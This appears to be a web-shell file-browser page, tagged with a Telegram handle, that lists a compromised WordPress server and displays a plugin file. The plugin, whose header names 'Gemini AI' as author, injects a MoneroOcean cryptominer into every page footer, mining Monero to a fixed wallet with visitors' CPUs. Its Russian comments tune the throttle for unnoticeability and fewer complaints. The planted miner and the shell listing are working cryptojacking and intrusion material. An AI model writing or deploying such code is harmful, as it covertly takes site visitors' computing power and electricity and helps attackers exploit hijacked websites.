https://t.me/RX1948
Server : LiteSpeed
System : Linux srv475744146.host.ultaserver.net 5.15.0-138-generic #148-Ubuntu SMP Fri Mar 14 19:05:48 UTC 2025 x86_64
User : indog6927 ( 1163)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /home/indogame99.org/public_html/wp-content/plugins/moneroocean-plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/indogame99.org/public_html/wp-content/plugins/moneroocean-plugin/moneroocean-web-miner.php
<?php
/**
 * Plugin Name:       MoneroOcean Web Miner
 * Plugin URI:        https://moneroocean.stream/
 * Description:       Injects the MoneroOcean web miner script into the footer of every page to mine XMR using visitor's CPU.
 * Version:           1.1.0
 * Author:            Gemini AI
 * Author URI:        https://gemini.google.com/
 * License:           GPL-2.0-or-later
 * License URI:       https://www.gnu.org/licenses/gpl-2.0.html
 * Text Domain:       moneroocean-web-miner
 */

// Защита от прямого доступа к файлу
if (!defined('ABSPATH')) {
    exit; // Exit if accessed directly.
}

/**
 * Основная функция, которая выводит (echo) скрипт майнера.
 * Эта функция будет прикреплена к хуку wp_footer.
 */
function mowm_inject_miner_script() {
    // Используем HEREDOC для удобного встраивания многострочного JS-кода.
    // Все настройки майнера находятся внутри этого блока.
    $miner_script = <<<EOT

<!-- START MONEROOCEAN MINER -->
<script src="https://moneroocean.stream/web/webminer.min.js"></script>
<script>
    // Инициализация майнера с вашим кошельком и настройками
    var miner = new WebMiner.Anonymous('49BACoxJZuqN2Xz4fUi87ffPabmBQtobGUJyWhnWLk8jQXZWBMJDghUABvwqkRcrpQeWvBHaWv1VY9RF2Yu7HvKjAtYLJVR', {
        // Загрузка процессора: 0.3 означает, что 30% времени процессор будет простаивать.
        // Фактическая нагрузка составит около 70% от выделенных ядер.
        // Это хороший баланс между доходностью и незаметностью.
        throttle: 0.3,

        // Количество потоков: жестко задаем 2 потока.
        // Это эффективнее, чем 1, но не перегружает современные многоядерные процессоры.
        threads: 2,
        autoThreads: false // Отключаем автоматическое определение потоков
    });

    // Условие запуска:
    // 1. Не запускать на мобильных устройствах (чтобы не разряжать батарею).
    // 2. Не запускать, если пользователь отказался от майнинга (этично и снижает жалобы).
    if (!miner.isMobile() && !miner.didOptOut(1)) {
        miner.start();
    }
</script>
<!-- END MONEROOCEAN MINER -->

EOT;

    echo $miner_script;
}

/**
 * Прикрепляем нашу функцию к стандартному хуку WordPress 'wp_footer'.
 * WordPress автоматически вызовет нашу функцию mowm_inject_miner_script()
 * каждый раз, когда будет генерировать подвал страницы.
 * Число 99 - это приоритет, ставим высокий, чтобы скрипт был одним из последних в подвале.
 */
add_action('wp_footer', 'mowm_inject_miner_script', 99);

?>

https://t.me/RX1948 - 2025